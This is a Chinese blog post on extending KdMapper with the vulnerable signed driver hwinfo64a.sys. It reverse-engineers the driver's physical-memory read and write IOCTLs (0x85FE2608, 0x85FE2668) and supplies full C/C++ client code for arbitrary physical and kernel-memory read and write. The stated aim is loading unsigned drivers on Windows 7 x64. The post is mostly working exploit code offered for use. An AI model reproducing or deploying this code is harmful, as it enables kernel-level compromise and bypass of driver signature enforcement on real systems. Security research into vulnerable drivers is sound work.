KdMapper扩展实现之REALiX(hwinfo64a.sys)

news2024/9/27 23:30:50

1.背景

  KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动,本文是利用其它漏洞(参考《【转载】利用签名驱动漏洞加载未签名驱动》)做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。

2.驱动信息

驱动名称hwinfo64a.sys 
时间戳54720A27
MD5E5805896A55D4166C20F216249F40FA3
文件版本8.98.0.0
设备名称        \\.\HWiNFO32
读物理内存0x85FE2608
写物理内存0x85FE2668
Windows 7支持
Windows 10不支持
Windows 11不支持

3.IDA分析

3.1 入口函数:

NTSTATUS __stdcall DriverEntry(_DRIVER_OBJECT* DriverObject, PUNICODE_STRING RegistryPath)
{
        NTSTATUS result; // eax
        int v4; // ebx
        struct _UNICODE_STRING DestinationString; // [rsp+40h] [rbp-28h] BYREF
        struct _UNICODE_STRING SymbolicLinkName; // [rsp+50h] [rbp-18h] BYREF
        PDEVICE_OBJECT DeviceObject; // [rsp+80h] [rbp+18h] BYREF
 
        RtlInitUnicodeString(&DestinationString, L"\\Device\\HWiNFO32");
        result = IoCreateDevice(DriverObject, 0, &DestinationString, 0x22u, 0, 0, &DeviceObject);
        if (result >= 0)
        {
                DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)sub_113C0;
                DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)sub_113C0;
                DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)DeviceIoControl;
                DriverObject->DriverUnload = (PDRIVER_UNLOAD)sub_1370C;
                RtlInitUnicodeString(&SymbolicLinkName, L"\\DosDevices\\HWiNFO32");
                v4 = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
                if (v4 >= 0)
                {
                        Lock = 0i64;
                        UnicodeString.Length = 0;
                        ListHead.Blink = &ListHead;
                        ListHead.Flink = &ListHead;
                        UnicodeString.Buffer = 0i64;
                }
                else
                {
                        IoDeleteDevice(DeviceObject);
                }
                result = v4;
        }
        return result;
}

3.2 DeviceIoControl

__int64 __fastcall DeviceIoControl(PDEVICE_OBJECT pDeviceObject, IRP* pIrp, __int64 a3, __int64 a4)
{
        _IO_STACK_LOCATION* pIosp; // r12
        unsigned int nIoControlCode; // eax
        NTSTATUS ntStatus; // ebx
        HWINFO64A_READ_PHYSICAL_MEMORY_INFO* pReadPhysicalMemoryInfo; // rbx
        PVOID pMappedIoSpace; // rax
        HWINFO64A_WRITE_PHYSICAL_MEMORY_INFO* pWritePhysicalMemoryInfo; // rbx
        _DWORD* pMappedIoSpaceWrite; // rax
        struct _IO_STATUS_BLOCK IoStatusBlock; // [rsp+108h] [rbp-90h] BYREF
        struct _OBJECT_ATTRIBUTES ObjectAttributes; // [rsp+118h] [rbp-80h] BYREF
        struct _UNICODE_STRING DestinationString; // [rsp+148h] [rbp-50h] BYREF
 
        pIosp = pIrp->Tail.Overlay.CurrentStackLocation;
        nIoControlCode = pIosp->Parameters.DeviceIoControl.IoControlCode;
        if (nIoControlCode > 0x85FE2658)
        {
                if (nIoControlCode <= 0x85FE2684)
                {
                        case 0x85FE2668:
                                pWritePhysicalMemoryInfo = (HWINFO64A_WRITE_PHYSICAL_MEMORY_INFO*)pIrp->AssociatedIrp.SystemBuffer;// 写物理内存,一次一个DWORD大小
                                pMappedIoSpaceWrite = MapIoSpaceList(pWritePhysicalMemoryInfo->PhysicalAddress, 4ui64);
                                if (pMappedIoSpaceWrite)
                                {
                                        *pMappedIoSpaceWrite = pWritePhysicalMemoryInfo->Data;
                                        ntStatus = 0;
                                        pIrp->IoStatus.Information = 16i64;
                                }
                                else
                                {
                                        ntStatus = 0xC0000001;
                                        pIrp->IoStatus.Information = 0i64;
                                }
                                goto LABEL_389;
 
                        case 0x85FE2608:
                                pReadPhysicalMemoryInfo = (HWINFO64A_READ_PHYSICAL_MEMORY_INFO*)pIrp->AssociatedIrp.SystemBuffer;// 读物理内存
                                pMappedIoSpace = MapIoSpaceList(pReadPhysicalMemoryInfo->PhysicalAddress, pReadPhysicalMemoryInfo->nSize);
                                if (pMappedIoSpace)
                                {
                                        memmove(pReadPhysicalMemoryInfo->ReadBuffer, pMappedIoSpace, pReadPhysicalMemoryInfo->nSize);
                                        ntStatus = 0;
                                        pIrp->IoStatus.Information = 0x10010i64;
                                }
                                else
                                {
                                        ntStatus = 0xC0000001;
                                        pIrp->IoStatus.Information = 0i64;
                                }
                                goto LABEL_389;
                }
        }
LABEL_389:
        pIrp->IoStatus.Status = ntStatus;
        IofCompleteRequest(pIrp, 0);
        return (unsigned int)ntStatus;
}
  • 读物理内存 0x85FE2608

  从 HWINFO64A_READ_PHYSICAL_MEMORY_INFO 的物理地址 PhysicalAddress 复制数据到 ATILLK_PHYSICAL_MEMORY_INFO 的内容地址 ReadBuffer 。

  由第 43 行的代码   pIrp->IoStatus.Information = 0x10010i64 可以看出,读取的代码的缓冲区大小为 0x10010,在实现代码逻辑时决定定义缓冲大小为 0x10010,实际的最大读取大小为 0x10000,方便处理。

  • 写物理内存 0x85FE2668

  从 HWINFO64A_WRITE_PHYSICAL_MEMORY_INFO 的内容 Data 复制数据到 HWINFO64A_WRITE_PHYSICAL_MEMORY_INFO 的物理地址 PhysicalAddress 。

  由第 25 行可以看出每次写入物理地址的大小为一个 DWORD,对于数据量大的要分批进行写入。

3.3 MapIoSpaceList

PVOID __fastcall MapIoSpaceList(PHYSICAL_ADDRESS PhysicalAddress, SIZE_T Size)
{
        KIRQL oldIrql; // al
        _LIST_ENTRY* pListEntry; // rbx
        PVOID pMappedIoSpace; // rbx
        MAP_IO_SPACE_LIST_INFO* pListInfo; // rdx
 
        if (!PhysicalAddress.QuadPart || !Size)
                return 0i64;
        oldIrql = KeAcquireSpinLockRaiseToDpc(&Lock);
        pListEntry = ListHead.Flink;
        if (ListHead.Flink == &ListHead)
        {
        LABEL_7:
                KeReleaseSpinLock(&Lock, oldIrql);
                pMappedIoSpace = MmMapIoSpace(PhysicalAddress, Size, MmNonCached);
                if (pMappedIoSpace)
                {
                        pListInfo = (MAP_IO_SPACE_LIST_INFO*)ExAllocatePoolWithTag(NonPagedPool, 0x28ui64, 0x4D4D4D4Du);
                        if (pListInfo)
                        {
                                pListInfo->MappedAddress = pMappedIoSpace;
                                pListInfo->Size = Size;
                                pListInfo->PhysicalAddress = PhysicalAddress;
                                ExInterlockedInsertTailList(&ListHead, &pListInfo->ListEntry, &Lock);
                                return pMappedIoSpace;
                        }
                }
                return 0i64;
        }
        while (pListEntry[1].Flink != (_LIST_ENTRY*)PhysicalAddress.QuadPart || (_LIST_ENTRY*)Size > pListEntry[1].Blink)
        {
                pListEntry = pListEntry->Flink;
                if (pListEntry == &ListHead)
                        goto LABEL_7;
        }
        KeReleaseSpinLock(&Lock, oldIrql);
        return pListEntry[2].Flink;
}

        由代码可以看出该函数是调用 MmMapIoSpace 映射物理地址,然后加入一个链表,下次再映射相同地址时可以直接返回。同时该链表在驱动卸载时进行 MmUnmapIoSpace 取消映射。

  由代码第 8  行可以看出,对于映射物理地址为 0 的时候返回失败,所以在最终代码中对于 0 地址的映射要跳过,或做其它相关判断的处理。

3.4 HWINFO64A_READ_PHYSICAL_MEMORY_INFO结构

00000000 HWINFO64A_READ_PHYSICAL_MEMORY_INFO struc ; (sizeof=0xD, copyof_381)
00000000 PhysicalAddress PHYSICAL_ADDRESS ?
00000008 nSize           dd ?
0000000C ReadBuffer      db ?
0000000D HWINFO64A_READ_PHYSICAL_MEMORY_INFO ends

3.5 HWINFO64A_WRITE_PHYSICAL_MEMORY_INFO结构

00000000 HWINFO64A_WRITE_PHYSICAL_MEMORY_INFO struc ; (sizeof=0xC, copyof_384)
00000000 PhysicalAddress PHYSICAL_ADDRESS ?
00000008 Data            dd ?
0000000C HWINFO64A_WRITE_PHYSICAL_MEMORY_INFO ends

3.6 MAP_IO_SPACE_LIST_INFO结构 

0000000 MAP_IO_SPACE_LIST_INFO struc ; (sizeof=0x28, copyof_387)
00000000 ListEntry       LIST_ENTRY ?
00000010 PhysicalAddress PHYSICAL_ADDRESS ?
00000018 Size            dq ?
00000020 MappedAddress   dq ?                    ; offset
00000028 MAP_IO_SPACE_LIST_INFO ends

3.7 使用注意事项

  实现使用的是MmMapIoSpace将物理内存映射到进程空间或者之后再读写。由于使用了物理内存,在代码过程中会遇到物理页面和虚拟页面不一一对应的问题,问题说明及解决办法见《KdMapper扩展中遇到的相关问题》。

4. 代码实现

4.1 .h文件

#pragma pack(push)
#pragma pack(1)
 
        typedef struct _HWINFO64A_READ_PHYSICAL_MEMORY_INFO 
        {
                PHYSICAL_ADDRESS PhysicalAddress;
                ULONG Size;
                BYTE ReadBuffer[1];
        } HWINFO64A_READ_PHYSICAL_MEMORY_INFO, *PHWINFO64A_READ_PHYSICAL_MEMORY_INFO;
 
        typedef struct _HWINFO64A_WRITE_PHYSICAL_MEMORY_INFO {
                PHYSICAL_ADDRESS PhysicalAddress;
                DWORD Data;
        } HWINFO64A_WRITE_PHYSICAL_MEMORY_INFO, * PHWINFO64A_WRITE_PHYSICAL_MEMORY_INFO;
 
#pragma pack(pop)
 
#ifndef RtlOffsetToPointer
#define RtlOffsetToPointer(Base, Offset)  ((PCHAR)( ((PCHAR)(Base)) + ((ULONG_PTR)(Offset))  ))
#endif
 
#ifndef RtlPointerToOffset
#define RtlPointerToOffset(Base, Pointer)  ((ULONG)( ((PCHAR)(Pointer)) - ((PCHAR)(Base))  ))
#endif
 
#define ATILLK64_DEVICE_TYPE          (DWORD)0x9C40
#define ATILLK64_READ_PHYSICAL_MEMORY    (DWORD)0x951 
#define ATILLK64_WRITE_PHYSICAL_MEMORY    (DWORD)0x952
#define ATILLK64_UNMAP_PHYSICAL_MEMORY_WITH_UNMAP_FUNCID (DWORD)0x959
 
#define HWINFO64A_DEVICE_TYPE          (DWORD)0x85FE
#define HWINFO64A_READ_PHYSICAL_MEMORY_FUNCID   (DWORD)0x982
#define HWINFO64A_WRITE_PHYSICAL_MEMORY_FUNCID (DWORD)0x99A
 
#define READ_BUFFER_SIZE        (0x10010)
#define READ_SIZE_LIMIT            (0X10000)
 
#define IOCTL_HWINFO64A_READ_PHYSICAL_MEMORY      \
    CTL_CODE(HWINFO64A_DEVICE_TYPE, HWINFO64A_READ_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x85FE2608
 
#define IOCTL_HWINFO64A_WRITE_PHYSICAL_MEMORY    \
    CTL_CODE(HWINFO64A_DEVICE_TYPE, HWINFO64A_WRITE_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x85FE2668

4.2 .c文件

NTSTATUS realix_driver::SuperCallDriverEx(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG IoControlCode,
        _In_ PVOID InputBuffer,
        _In_ ULONG InputBufferLength,
        _In_opt_ PVOID OutputBuffer,
        _In_opt_ ULONG OutputBufferLength,
        _Out_opt_ PIO_STATUS_BLOCK IoStatus)
{
        IO_STATUS_BLOCK ioStatus;
 
        NTSTATUS ntStatus = NtDeviceIoControlFile(DeviceHandle,
                NULL,
                NULL,
                NULL,
                &ioStatus,
                IoControlCode,
                InputBuffer,
                InputBufferLength,
                OutputBuffer,
                OutputBufferLength);
 
        if (ntStatus == STATUS_PENDING) {
 
                ntStatus = NtWaitForSingleObject(DeviceHandle,
                        FALSE,
                        NULL);
        }
 
        if (IoStatus)
                *IoStatus = ioStatus;
 
        return ntStatus;
}
 
BOOL realix_driver::SuperCallDriver(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG IoControlCode,
        _In_ PVOID InputBuffer,
        _In_ ULONG InputBufferLength,
        _In_opt_ PVOID OutputBuffer,
        _In_opt_ ULONG OutputBufferLength)
{
        BOOL bResult;
        IO_STATUS_BLOCK ioStatus;
 
        NTSTATUS ntStatus = SuperCallDriverEx(
                DeviceHandle,
                IoControlCode,
                InputBuffer,
                InputBufferLength,
                OutputBuffer,
                OutputBufferLength,
                &ioStatus);
 
        bResult = NT_SUCCESS(ntStatus);
        SetLastError(RtlNtStatusToDosError(ntStatus));
        return bResult;
}
 
BOOL WINAPI realix_driver::SuperReadWritePhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_reads_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes,
        _In_ BOOLEAN DoWrite)
{
        BOOL bResult = FALSE;
        DWORD dwError = ERROR_SUCCESS;
 
        __try {
 
                if (DoWrite) {
                        //写物理内存每次只能写四个字节 
 
                        DWORD dwLoopCount = NumberOfBytes / sizeof(ULONG);
                        DWORD dwRemainingSize = NumberOfBytes % sizeof(ULONG);
                        HWINFO64A_WRITE_PHYSICAL_MEMORY_INFO writeRequest = { 0 };
                        DWORD dwIndex = 0;
                        for (dwIndex = 0; dwIndex < dwLoopCount; dwIndex++)
                        {
                                DWORD dwData = *((DWORD*)((PUCHAR)Buffer + dwIndex * sizeof(DWORD)));
                                writeRequest.PhysicalAddress.QuadPart = PhysicalAddress + dwIndex * sizeof(DWORD);
                                writeRequest.Data = dwData;
                                bResult = SuperCallDriver(DeviceHandle,
                                        IOCTL_HWINFO64A_WRITE_PHYSICAL_MEMORY,
                                        &writeRequest,
                                        sizeof(writeRequest),
                                        &writeRequest,
                                        sizeof(writeRequest));
                                if (!bResult)
                                {
                                        Log(L"[!] Error WritePhysicalMemory 1!" << std::endl);
                                        break;
                                }
                        }
                        if ((dwLoopCount == 0) || (bResult))
                        {
                                if (dwRemainingSize != 0)
                                {
                                        DWORD dwData = 0;
                                        ULONG ulBufferSize = READ_BUFFER_SIZE;/*sizeof(HWINFO64A_READ_PHYSICAL_MEMORY_INFO) + sizeof(DWORD);*/
                                        PHWINFO64A_READ_PHYSICAL_MEMORY_INFO pReadRequest = (PHWINFO64A_READ_PHYSICAL_MEMORY_INFO)malloc(ulBufferSize);
                                        RtlZeroMemory(pReadRequest, ulBufferSize);
                                        pReadRequest->PhysicalAddress.QuadPart = PhysicalAddress + dwIndex * sizeof(DWORD);
                                        pReadRequest->Size = sizeof(DWORD);
                                        bResult = SuperCallDriver(DeviceHandle,
                                                IOCTL_HWINFO64A_READ_PHYSICAL_MEMORY,
                                                pReadRequest,
                                                ulBufferSize,
                                                pReadRequest,
                                                ulBufferSize);
                                        if (bResult)
                                        {
                                                dwData = *((DWORD*)pReadRequest->ReadBuffer);
                                                RtlCopyMemory(&dwData, (PUCHAR)Buffer + dwIndex * sizeof(DWORD), dwRemainingSize);
 
                                                writeRequest.PhysicalAddress.QuadPart = PhysicalAddress + dwIndex * sizeof(DWORD);
                                                writeRequest.Data = dwData;
                                                bResult = SuperCallDriver(DeviceHandle,
                                                        IOCTL_HWINFO64A_WRITE_PHYSICAL_MEMORY,
                                                        &writeRequest,
                                                        sizeof(writeRequest),
                                                        &writeRequest,
                                                        sizeof(writeRequest));
                                                if (!bResult)
                                                {
                                                        Log(L"[!] Error WritePhysicalMemory 2!" << std::endl);
                                                }
                                        }
                                        else
                                        {
                                                Log(L"[!] Error Read Physical Memory in WritePhysicalMemory!" << std::endl);
                                        }
                                        free(pReadRequest);
                                        pReadRequest = NULL;
 
                                }
 
                        }
 
                }
                else {
                        DWORD dwLoopCount = NumberOfBytes / READ_SIZE_LIMIT;
                        DWORD dwRemainingSize = NumberOfBytes % READ_SIZE_LIMIT;
 
                        DWORD dwIndex = 0;
                        for (dwIndex = 0; dwIndex < dwLoopCount; dwIndex++)
                        {
                                PHWINFO64A_READ_PHYSICAL_MEMORY_INFO pReadRequest = (PHWINFO64A_READ_PHYSICAL_MEMORY_INFO)malloc(READ_BUFFER_SIZE);
                                RtlZeroMemory(pReadRequest, READ_BUFFER_SIZE);
                                pReadRequest->PhysicalAddress.QuadPart = PhysicalAddress + dwIndex * READ_SIZE_LIMIT;
                                pReadRequest->Size = READ_SIZE_LIMIT;
                                bResult = SuperCallDriver(DeviceHandle,
                                        IOCTL_HWINFO64A_READ_PHYSICAL_MEMORY,
                                        pReadRequest,
                                        READ_BUFFER_SIZE,
                                        pReadRequest,
                                        READ_BUFFER_SIZE);
                                if (bResult)
                                {
                                        RtlCopyMemory((PUCHAR)Buffer + dwIndex * READ_SIZE_LIMIT, pReadRequest->ReadBuffer, READ_SIZE_LIMIT);
                                }
                                else
                                {
                                        Log(L"[!] Error Read Physical Memory 1 in ReadPhysicalMemory!" << std::endl);
                                }
                                free(pReadRequest);
                        }
                        if ((dwLoopCount == 0) || (bResult))
                        {
                                if (dwRemainingSize != 0)
                                {
 
                                        PHWINFO64A_READ_PHYSICAL_MEMORY_INFO pReadRequest = (PHWINFO64A_READ_PHYSICAL_MEMORY_INFO)malloc(READ_BUFFER_SIZE);
                                        if (pReadRequest)
                                        {
                                                RtlZeroMemory(pReadRequest, READ_BUFFER_SIZE);
                                                pReadRequest->PhysicalAddress.QuadPart = PhysicalAddress + dwIndex * READ_SIZE_LIMIT;
                                                pReadRequest->Size = dwRemainingSize;
                                                bResult = SuperCallDriver(DeviceHandle,
                                                        IOCTL_HWINFO64A_READ_PHYSICAL_MEMORY,
                                                        pReadRequest,
                                                        READ_BUFFER_SIZE,
                                                        pReadRequest,
                                                        READ_BUFFER_SIZE);
                                                if (bResult)
                                                {
                                                        RtlCopyMemory((PUCHAR)Buffer + dwIndex * READ_SIZE_LIMIT, pReadRequest->ReadBuffer, dwRemainingSize);
                                                }
                                                else
                                                {
                                                        Log(L"[!] Error Read Physical Memory 2 in ReadPhysicalMemory!" << std::endl);
                                                }
                                                free(pReadRequest);
                                                pReadRequest = NULL;
                                        }
                                        else
                                        {
                                                Log(L"[!] SuperReadWritePhysicalMemory read physical memory malloc failed!" << std::endl);
                                        }
                                }
 
                        }
                }
        }
        __except (EXCEPTION_EXECUTE_HANDLER) {
                bResult = FALSE;
                dwError = GetExceptionCode();
                Log(L"[!] Error AtszioReadWritePhysicalMemory Exception!" << std::endl);
        }
 
 
        SetLastError(dwError);
        return bResult;
}
 
BOOL WINAPI realix_driver::SuperReadPhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_ PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        return SuperReadWritePhysicalMemory(DeviceHandle,
                PhysicalAddress,
                Buffer,
                NumberOfBytes,
                FALSE);
}
 
BOOL WINAPI realix_driver::SuperWritePhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_reads_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        return SuperReadWritePhysicalMemory(DeviceHandle,
                PhysicalAddress,
                Buffer,
                NumberOfBytes,
                TRUE);
}
 
BOOL WINAPI realix_driver::SuperWriteKernelVirtualMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR Address,
        _Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        BOOL bResult;
        ULONG_PTR physicalAddress = 0;
 
        SetLastError(ERROR_SUCCESS);
 
        bResult = SuperVirtualToPhysical(DeviceHandle,
                Address,
                &physicalAddress);
 
        if (bResult) {
 
                bResult = SuperReadWritePhysicalMemory(DeviceHandle,
                        physicalAddress,
                        Buffer,
                        NumberOfBytes,
                        TRUE);
 
        }
 
        return bResult;
}
 
BOOL WINAPI realix_driver::SuperReadKernelVirtualMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR Address,
        _Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        BOOL bResult;
        ULONG_PTR physicalAddress = 0;
 
        SetLastError(ERROR_SUCCESS);
 
        bResult = SuperVirtualToPhysical(DeviceHandle,
                Address,
                &physicalAddress);
 
        if (bResult) {
 
                bResult = SuperReadWritePhysicalMemory(DeviceHandle,
                        physicalAddress,
                        Buffer,
                        NumberOfBytes,
                        FALSE);
 
        }
 
        return bResult;
}

  其中 SuperReadKernelVirtualMemory 和 SuperWriteKernelVirtualMemory 读写虚拟地址内存页面中的 虚拟地址转物理地址函数 SuperVirtualToPhysical 的实现在《KdMapper扩展实现之虚拟地址转物理地址 》一文中有介绍。

  同时由于使用了MmMapIoSpace,故其只能在Win7上运行,详见《KdMapper扩展实现之虚拟地址转物理地址 》。

5. 运行效果

  Windows 7 x64 环境上运行的效果如下,其中驱动 HelloWorld.sys为未签名的驱动,其详细说明见文章《KdMapper被加载驱动的实现》。

6.特别提示

  使用hwinfo64a.sys制作的KdMapper只能在Win 7 x64环境上运行,Win10以上环境由于使用了MmMapIoSpace会导致蓝屏。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1078488.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

使用testMe自动生成单元测试用例

文章目录 1、testMe简介2、插件对比2.1 testMe2.2 Squaretest2.3 Diffblue 3、IDEA插件安装4、单测用例4.1 maven依赖4.2 生成用例 5、自定义模板6、使用自定义模板生成用例7、调试用例 1、testMe简介 公司对于系统单元测试覆盖率有要求&#xff0c;需要达到50%或80%以上才可以…

RV1126-RV1109-进入uboot的按键和名字显示-HOSTNAME

今天添加一个小功能,就是uboot是按CTRLC进入的 今日我做了一个定制,让按L或者l让也进入uboot指令模式,并且修改主板名字显示 默认是CTRLC:键码值是0x03(ASCII对照表) 于是代码中跟踪: //rv1126_rv1109/u-boot/common/console.c int ctrlc(void) { #ifndef CONFIG_SANDBOXif (…

Python大数据之Python进阶(五)线程

文章目录 线程1. 线程的介绍2. 线程的概念3. 线程的作用4. 小结 线程 学习目标 能够知道线程的作用 1. 线程的介绍 在Python中&#xff0c;想要实现多任务除了使用进程&#xff0c;还可以使用线程来完成&#xff0c;线程是实现多任务的另外一种方式。 2. 线程的概念 线程是进程…

【chrome基础】Chrome、Chromium、libcef、electron版本关系大揭秘!

文章目录 概述chrome、Chromium、cef、electron 版本管理chrome的各种概念和学习资料V8 bindings 设计谷歌V8引擎探秘&#xff1a;基础概念Chrome 的插件&#xff08;Plugin&#xff09;与扩展&#xff08;Extension&#xff09;Chrome插件开发 概述 Chrome、Chromium、libcef、…

电荷泵CP原理及在PLL/DLL中的使用

参考【模拟集成电路】电荷泵&#xff08;CP&#xff09;设计_pll 电荷泵-CSDN博客 PLL-CP | Fitzs Blog 1.PLL/DLL中电荷泵概念及原理 电荷泵CP(charge pump)是锁相环中重要的一个模块&#xff0c;其主要功能是将鉴频鉴相器 (PFD) 输出的时钟相位差值转化为电荷&#xff0c;将…

UE5如何实现语言本地化管理(中英文切换)

一。实现蓝图的本地化控制 1.打开本地化控制面版 2.设置收集文本的路径 3.添加自己需要使用的语言&#xff0c;一般是中文 4.收集文本并进行转换语言的翻译 5.进入面板之后开始翻译 6.翻译完成之后计算字数并编译 7。一整套流程下来就是这样了 8.编译完成之后会在文件中生成…

一文汇总 Linux 内核调试的方法

内核开发比用户空间开发更难的一个因素就是内核调试艰难。内核错误往往会导致系统宕机&#xff0c;很难保留出错时的现场。调试内核的关键在于你的对内核的深刻理解。 在调试一个bug之前&#xff0c;我们所要做的准备工作有&#xff1a; 有一个被确认的bug&#xff0c;包含这…

10.10泊松、指数、伽马分布的理解

泊松定理、泊松分布 泊松定理就是描述在T段时间内每时每刻一直进行一个实验&#xff0c;这个实验成功的概率由t段时间总的成功期望次数决定&#xff0c;就是给二项分布加了个时间 泊松分布可用来描述某段时间来电次数的分布&#xff0c;电话台收到的呼叫数&#xff0c;商城的…

2023年【陕西省安全员B证】最新解析及陕西省安全员B证操作证考试

题库来源&#xff1a;安全生产模拟考试一点通公众号小程序 2023年陕西省安全员B证最新解析为正在备考陕西省安全员B证操作证的学员准备的理论考试专题&#xff0c;每个月更新的陕西省安全员B证操作证考试祝您顺利通过陕西省安全员B证考试。 1、【多选题】《陕西省建设工程质量…

导入导出Excel

一、Springboot Easyexcel读取写入数据&#xff0c;多头行数&#xff0c;多sheet&#xff0c;复杂表头简单实现 1. 导入依赖&#xff0c;阿里的easyexcel插件 <dependency><groupId>com.alibaba</groupId><artifactId>easyexcel</artifactId>…

uniapp上echarts地图钻取

1: 预期效果 通过切换地图 , 实现地图的钻取效果 2: 实现原理以及核心方法/参数 一开始是想利用更换地图数据的形式进行地图钻取 , 这就意味着我们需要准备全国30多个省份的地图数据 , 由于一开始考虑需要适配小程序端 , 如此多的地图文件增加了程序的体积 , 如果使用接口调…

element el-table表格表头某一列表头字段修改颜色

需求&#xff1a; 1 使用 :header-cell-class-name"addClass" 属性 2 根据显示条件 在redText&#xff0c;whiteText 中设置你想要添加的必填表头index 3.根据条件修改文字样式 完整代码 <el-table ref"tableRef" :cell-style"{ color: #FFF,…

拥抱产业发展机遇 兑现5G商业价值

[阿联酋&#xff0c;迪拜&#xff0c;2023年10月10日] 今天&#xff0c;以“将5G-A带入现实”为主题的2023全球移动宽带论坛在迪拜举行。本次大会上&#xff0c;华为轮值董事长胡厚崑与GSMA总干事Mats Granryd围绕“5G产业进程与发展”连线对话。胡厚崑指出&#xff0c;“技术发…

redis 哨兵 sentinel

sentinel巡查监控后台master主机是否故障&#xff0c;如果故障根据投票数自动将某一个从库转换为新主库&#xff0c;继续对外服务 sentinel 哨兵的功能 监控 监控主从redis库运行是否正常消息通知 哨兵可以将故障转移的结果发送给客户端故障转移 如果master异常&#xff0c;则…

openEuler 系统搭建高可用 Kubernetes 集群

k8s 高可用集群部署 在生产环境中&#xff0c;k8s 高可用集群部署能够确保应用程序稳态运行不出现服务中断情况。 此处我们基于 openEuler 系统环境&#xff0c;配置 Keepalived 和 HAproxy 使负载均衡&#xff08;LB/Load Balancer&#xff09;、实现高可用。 步骤如下&…

NZ系列工具NZ04:VBA网络连接测试

我的教程一共九套及VBA汉英手册一部&#xff0c;分为初级、中级、高级三大部分。是对VBA的系统讲解&#xff0c;从简单的入门&#xff0c;到数据库&#xff0c;到字典&#xff0c;到高级的网抓及类的应用。大家在学习的过程中可能会存在困惑&#xff0c;这么多知识点该如何组织…

UOS通过GPG对文件签名验签

本人用的版本&#xff1a;gpg (GnuPG) 2.2.12 生成密钥 生成公钥/私钥对 gpg --full-generate-key设置密钥的长度 默认回车3072&#xff0c;越长越安全。 设定密钥的有效期限 默认回车“0” 构建用户标识 输入姓名、邮件、注释后&#xff0c;输入“o”确认 在弹出框内…

班级文化建设方案分享 中学高中建设方案

班级文化建设方案 一、基本信息 名称&#xff1a;xxxx计划 时间&#xff1a;XXXX年XX月-XXXX年XX月 地点&#xff1a;[XXXXX] 参与人群&#xff1a;X班全体师生及家长 目的和宗旨&#xff1a;通过班级文化建设&#xff0c;营造积极向上的班级氛围&#xff0c;增强班级凝聚…

分布式数据库HBase(林子雨慕课课程)

文章目录 4. 分布式数据库HBase4.1 HBase简介4.2 HBase数据模型4.3 HBase的实现原理4.4 HBase运行机制4.5 HBase的应用方案4.6 HBase安装和编程实战 4. 分布式数据库HBase 4.1 HBase简介 HBase是BigTable的开源实现 对于网页搜索主要分为两个阶段 1.建立整个网页索引&#xf…

Zabbix 简介与部署

一、zabbix 简介 1、概念&#xff1a; Zabbix 是一个开源的网络监控系统&#xff0c;用于监视和管理计算机系统、网络和应用程序的性能和可用性。它提供了广泛的监控、警报、数据收集和可视化功能&#xff0c;能够有效地监测和管理大规模的IT基础设施。 2、监控对象&#xf…